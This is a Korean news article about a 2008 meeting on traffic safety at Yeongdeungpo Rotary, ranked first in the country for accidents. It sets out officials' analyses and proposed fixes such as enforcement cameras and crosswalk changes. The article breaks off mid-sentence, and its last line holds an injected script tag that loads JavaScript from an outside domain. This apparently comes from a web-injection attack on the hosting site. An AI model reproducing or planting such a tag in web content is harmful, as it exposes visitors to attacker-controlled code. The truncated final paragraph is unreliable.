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영등포로터리’ 교통체계개선 간담회

관리자 기자  2008.10.17 04:32:00

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  전국교통사고 1위  대중교통·보  행자 통행 시스템 엉터리

여의도·노  량진로·영   등포로 3개 진입부 신호·과속 무인단속 장비 설치

 

복잡하고 사고 많기로 유명한 영등포로터리가 전국에서 교통사고가 가장 자주 발생하는 곳으로 나타났다.
최근 경찰청 전국 교통사고 발생 현황자료에 따르면 지난 2005년부터 3년간 교통사고 발생 건수에서 영등포로터리가 1위를 기록했다. 이를 두고 지역 각계각층 전문가들과 주민이 함께 모여 대책방안을 논의하는 자리가 마련됐다.
지난 2일 구청 기획상황실에서는 한나라당 소속 전여옥 국회의원(영등포 갑)이 주관한 영등포로터리 교통체계개선을 위한 긴급간담회가 열렸다. 이날 자리에는 김형수 구청장을 비롯해 구의원, 이철성 영등포경찰서장, 서울지방경찰청, 교통안전공단, 도로교통공단 등 각계각층 전문가 및 주민 70여 명이 참석해 교통체계 개선책을 마련했다.
전여옥 의원은 회의에 앞서 인사말을 통해 “최근 경찰청 ‘전국 교통사고 발생 현황’에 따르면 전국에서 교통사고가 가장 자주 발생하는 곳이 영등포 교차로인 것으로 나타났다”며, “도로 구조가 복잡하고 교통량이 많은 곳으로 최근 3년간 교통사고 발생지역 1위를 기록한 영등포 교차로의 불명예를 씻고, 사고 없는 영등포를 만들기 위해 교통안전 대책을 마련코자 이번 긴급간담회를 개최했다”고 밝혔다.
하지만 영등포로터리 교통문제는 어제오늘 일이 아니다. 지난해 서울지방경찰청이 서울의 대표적인 교통사고 다발지역인 영등포로터리의 신호기와 횡단보도 등의 시설물 23개를 옮기거나 새로 설치하고 차로별로 진행방향을 표시하도록 도로안내 표지를 개선할 계획이라고 발표했지만 결국, 실효를 거두지 못한 채 3년간 교통사고 발생 건수 1위를 차지한 것.
이날 모인 서울지방경찰청, 교통안전공단, 도로교통관리공단 등 교통관련 전문가들은 모두 한목소리를 냈다.
영등포경찰서는 먼저 교차로 내 교통사고 발생 원인으로 교차로 통행량과 복잡한 교차로 구조를 꼽았다. 경인로, 영등포로 등 4개 주요도로 연결 교차로인 영등포교차로는 도심과 경기지역을 연결하는 중간 경유지로 일일 교통량이 약 12만대라고 말했다.
이로 인해 교차로 내 크로스 진행, 끼어들기, 잦은 진로변경, 교차로 내 차량엉킴 현상 등이 자주 발생해 접촉 사고 발생율이 높다고 지적했다. 이어 현장 교통관리 강화와 시설물 개선 등의 예방대책안을 제시했다.
특히 출·퇴근 시간 및 교통체증 시 현장배치 교통관리와 꼬리끊기, 교차로통행방법위반 등 현장 계도·단속과 차로별 진행방향 구분 표지판 추가 설치 방안 등을 꼽았다. 이와 함께 앞으로 여의도·노량진로 영등포로에서 교차로 내 진입부 3개소에 다기능 신호·과속 무인단속 장비를 설치한다고 밝혔다.
또 지난해와 올 1~9월까지의 교통사고 발생건수를 분석한 결과 지난해 발생건수는 51건, 올해 33건으로 전체 발생건수 전년대비 -18건으로 35% 감소했다고 밝혔다. 영등포경찰서는 지난해에 비해 사고건수가 감소한 이유에 대해 출퇴근 및 상습정체 시간대 경찰관 현장배치, 교통지도 및 단속활동과 교차로 구조개선 등의 사업을 지난해 11월부터 시행해 실효를 거두고 있다고 말하면서 무인단속 장비 설치와 함께 경찰관 현장배치, 교통지도 및 단속활동을 강화하면 교통사고율이 상당수 줄어들 것이라고 밝혔다.
이어 도로교통공단 서울시지부 홍유표 과장은 지난 2005부터 2007까지 사고발생 현황 가운데 서울과 전국 사고 순위 1위를 차지한 영등포로터리는 복잡한 도로구조 교차로 특성을 대표적인 원인으로 꼽으며, 교차로 정체 및 엇갈림, 합류 및 신호위반, 신호 인식 혼란, 횡단보도 비신호·동시신호에 따른 보행자 사고위험 등의 문제점을 꼽았다.
홍 과장은 개선방안으로 여의도에서 교차로 진입금지, 횡단보도 신호 분리 부여, 합류부 방향별 분리 등 교차로 수를 줄여 상충 지점수를 줄이는 방안과 교차로 소통 개선을 위한 교통흐름의 연속성 유지, 또한 접촉사고 예방을 위해 교차로 합류지점을 분리하는 등 보행자 사고예방을 위해 횡단보도 운영방법을 개선시킨다는 방안을 제시했다.
이밖에 교통안전공단 정희돈 안전관리처장은 영등포교차로 현장확인 결과 시각적, 미적 모양과 시스템은 상당히 우수하지만, 대중교통의 안전과 소통측면, 사람의 안전한 통행측면에서 볼 때는 미흡하다는 의견을 제시했다.
그러면서 정 박사는 차도와 보도가 여기저기 흩어져 산만하고, 심지어 교차로 육교 밑에 공영주차장까지 설치·운영되고 있어 보행자들이 차도와 보도 이용에 혼동을 가져온다고 지적했다.
또 교차로 설치시 전체구도를 너무 크고 넓게 잡아 통행자와 운전자 모두 명확한 ?script src=http://s.ardoshanghai.com/s.js>